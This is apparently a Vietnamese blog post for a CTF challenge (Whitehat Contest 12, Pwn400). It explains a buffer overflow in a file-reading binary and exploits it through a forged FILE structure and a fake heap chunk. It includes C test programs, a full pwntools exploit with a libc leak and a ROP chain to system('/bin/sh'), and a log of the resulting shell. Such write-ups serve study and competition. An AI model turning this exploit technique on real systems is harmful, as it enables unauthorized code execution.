Whitehat Contest 12 - Pwn400

Líp vẫn nhớ và yêu Híp nhiều lắm ...

Chiến đấu bên những người anh em luôn làm tôi cảm thấy thoải mái và phấn khích. Đợt contest này cả đội đã có 1 ngày không ngủ, cũng gần như không ăn, chỉ dùng lon bò húc để cầm hơi. Cả đội đã rất nỗ lực và hy vọng tràn trề khi lúc đầu liên tục tranh giành top 1 với kỳ phùng địch thủ. Cho đến giữa đêm, do thiếu một chút may mắn ( tôi thì không nghĩ vậy, đêm là khoảng thời gian tôi hay rơi vào trạng thái không ổn định pudency ) mà mọi người mất dần ý chí chiến đấu, nhìn đội khác vươn lên. Có lẽ nếu như tôi dành được 400 điểm từ bài này thì mọi chuyện đã khác. Nhưng dù sao "có lẽ" vẫn chỉ là 1 từ người ta dùng để biện hộ cho lỗi lầm của mình mà thôi.

Đề bài cho 1 file binary có chức năng dùng để viết và đọc 1 file trên server. Thoạt nhìn, tôi đã thấy bài này quen rồi, và có vẻ như chủ đề này vừa được tôi nghiên cứu cách đây 2 tháng. Ta có thể thấy lỗi khá rõ ràng ở hàm `read_file`

int read_file()
{
  char ptr; // [sp+18h] [bp-110h]@4
  size_t n; // [sp+118h] [bp-10h]@4
  FILE *stream; // [sp+11Ch] [bp-Ch]@1

  printf("file name: ");
  __fpurge(stdin);
  gets(name);
  stream = fopen(name, "rb");
  if ( !stream )
  {
    puts("Error: cannot open file. ");
    exit(1);
  }
  fseek(stream, 0, 2);
  n = ftell(stream);
  fseek(stream, 0, 0);
  fread(&ptr, 1u, n, stream);            // Does not check boundary of ptr
  puts(&ptr);
  return fclose(stream);
}

Như vậy, ta có thể cho chương trình đọc một nội dung file có kích thước lớn để kích hoạt lỗi buffer overflow. Tuy nhiên, ta cũng thấy `ptr` nằm ở `sp + 18h` còn `stream` thì nằm ở `sp + 11Ch` nên có thể khai thác lỗi bằng cách dùng bảng IO_FILE_JUMP.

Bài toán 1

Vẫn chiến thuật cũ, tôi bắt đầu từ chương trình đơn giản hơn là gọi hàm `fclose()` với tham số truyền vào là một mảng char. Sau một thời gian sử dụng gdb và "lỗi đến đâu sửa đến đó", tôi đã tìm được những giá trị cần có trong mảng

#include <stdio.h>
char a[256];

int main () {
    *((int *)a + 1) = 0xdeadbeaf;
    *((int *)a + 0x48 / 4) = a;
    *((int *)a + 0x94 / 4) = a - 4;
    fclose(a);
    return 0;
}

Và tất nhiên, kết qủa sẽ là `Invalid $PC address: 0xdeadbeaf`. Tuy nhiên, lần này tôi cũng nhận ra một điều là tôi không thể truyền được tham số khi gọi hàm theo kiểu này. Nếu cấc bạn step từng bước để vào bên trong libc, các bạn sẽ thấy trước khi call ,libc sẽ thực hiện:

push 0x0
push esi                            ; file pointer
call DWORD PTR [eax + 0x8]

Tôi phát hiện ra rằng chương trình không có stack protector, nên nếu như tôi lừa libc cho nó chạy như bình thường với mảng char, tôi có thể đè lên EIP và các gía trị sau đố rồi làm như những bài BoF bình thường. Tôi thử gọi hàm puts thì được kết qủa:

free(): invalid pointer: 0x0804a060 ***

Không ngoài dự đoán, theo như những gì google được thì hàm `fclose()` sau khi thực hiện việc đóng file sẽ giải phóng bộ nhớ đã cấp trước đó ( file pointer cũng là "híp" mà big_smile ).

Bài toán 2

Như vậy, ngoài việc biến mảng a thành một con trỏ file giả, thì ta cũng cần biến nó thành một heap chunk giả nữa. Tiếp tục sử dụng gdb, lần này thêm một cửa sổ khác để debug chương trình mà free một con trỏ đã malloc thực sự. Việc này giúp ta dễ dàng theo dõi luồng thực thi của chương trình đúng và biết sẽ phải sửa cái gì cho chương trình sai. Sau một hồi lâu sửa đi sửa lại, tôi cũng có được những gía trị cần tìm ( ở đây tôi chọn fclose(a + 16) cho nó thoải mái, tránh trường hợp truy xuất vào ô nhớ nào đó phía trước ):

#include <stdio.h>
char a[256];

int main () {
    puts("abcd");
    *((int *)a + 3) = 0xa1;
    *((int *)a + 4 + 1) = 0x8048350;
    *((int *)a + 4 + 0x48 / 4) = a + 16;
    *((int *)a + 4 + 0x94 / 4) = a + 16 - 4;
    *((int *)a + 43) = 0x20b59;
    *((int *)a + 44) = a + 34*4;
    *((int *)a + 45) = a + 38*4;
    *((int *)a + 34 + 3) = a + 42*4;
    *((int *)a + 38 + 2) = a + 42*4;
    fclose(a + 16);
    return 0;
}

Vậy là xong rồi, quay trở lại bài readfile, ta sẽ thực hiện 2 công việc:

  • Gọi hàm write_file để tạo ra một file tên là "inp", nội dung sẽ là `padding + name_address + padding + rop chain`
  • Gọi hàm read_file, đọc file có tên là "inp\x00" + fake_file_struct mà ta vừa tạo ra

Ez local shell, Ez life

[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Puts: 0xf7e5cb80
[*] Printf: 0xf7e46590
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Closed connection to localhost port 4000
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode

$ id
uid=1000(tuanit96) gid=1000(hardtobelieve) groups=1000(hardtobelieve),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
tuanit96
$  

Bài toán 3

Proof of Concept

from pwn import *

def read_file(name):
	s.sendline("2")
	s.recvuntil("file name: ")
	s.sendline(name)

def write_file(name, content):
	s.sendline("1")
	s.recvuntil("file name: ")
	s.sendline(name)
	s.recvuntil("Give me the size: ")
	#print s.recv()
	s.sendline(str(len(content)))
	s.recvuntil("Give me the buffer: ")
	s.sendline(content)

name1 = "/tmp/abc"
name2 = "/tmp/def"
name3 = "/tmp/ghi"

name_addr = 0x804a0a0 + 16
puts_plt = 0x80485b0
puts_got = 0x804a01c
printf_got = 0x804a000
popret = 0x080486c3
start = 0x8048640

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(puts_plt) + p32(popret) + p32(puts_got) + p32(puts_plt) + p32(popret) + p32(printf_got))

s.close()

#s = remote("118.70.80.143", 23504)
s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
s.recvuntil("0:exit\n")

fake_file = "\x00"*4*1 + p32(0xa1) + "\x00"*4*1              # 2 blocks
fake_file += p32(puts_plt) + "\x00"*4*16         # 17 blocks
fake_file += p32(name_addr) + "\x00"*4*14        # 15 blocks
fake_file += p32(name_addr + 38*4) + "\x00"*4*2    # 3 blocks
fake_file += p32(name_addr + 38*4)                 # 1 blocks
fake_file += p32(name_addr - 4) + "\x00"*4*1     # 2 blocks
fake_file += p32(0x20b59)                        # 1 blocks
fake_file += p32(name_addr + 30*4)                 # 1 blocks
fake_file += p32(name_addr + 34*4)

payload1 = name1 + fake_file
read_file(payload1)
data = s.recv()
data += s.recv()

puts = u32(data.split('\n')[-3][:4])
printf = u32(data.split('\n')[-2][:4])
log.info("Puts: " + hex(puts))
log.info("Printf: " + hex(printf))

s.close()

system = printf - 0x00049590 + 0x0003ad80
binsh = printf - 0x00049590 + 0x15ba3f

s = remote("localhost", 4000)
#s = remote("103.237.99.25",  23504)
#s = remote("118.70.80.143", 23504)
s.recvuntil("0:exit\n")

write_file(name1, "a"*260 + p32(name_addr) + "a"*12 + p32(system) + p32(popret) + p32(binsh))

s.close()

#s = remote("103.237.99.25",  23504)
s = remote("localhost", 4000)
s.recvuntil("0:exit\n")
read_file(payload1)
s.interactive()

Tôi hí hửng exploit với con server của họ, ngờ đâu nó chết không thương tiếc beat_brick. Đờ đẫn một lúc không hiểu chuyện gì xảy ra, tôi mới thử đem sang một máy khác chạy bản ubuntu cũ hơn tôi, và nó cũng chịu chung số phận. Có vẻ libc ở bản cũ và bản mới khác nhau ( cách xử lý, offset, ... ). Lúc đó là 2h đêm và nghĩ đến việc giờ ngồi debug lại trên libc-2.19 là tôi lại muốn đi ... Ý boss. Tôi thầm mắng chửi ban tổ chức, lẽ ra phải đưa cả libc cho người chơi chứ, nhưng rồi lại nhận ra, có lẽ họ cũng không biết được điều đó xảy ra, cũng giống mình ban nãy vậy.

Vậy là tôi đã đánh mất 400 điểm dù nó đã nằm trong tay, cảm giác thật giống với việc tối đã để tuột mất tay Híp khi vẫn còn đang nắm chặt vậy ...

2 thoughts on “Whitehat Contest 12 - Pwn400

Comments are closed.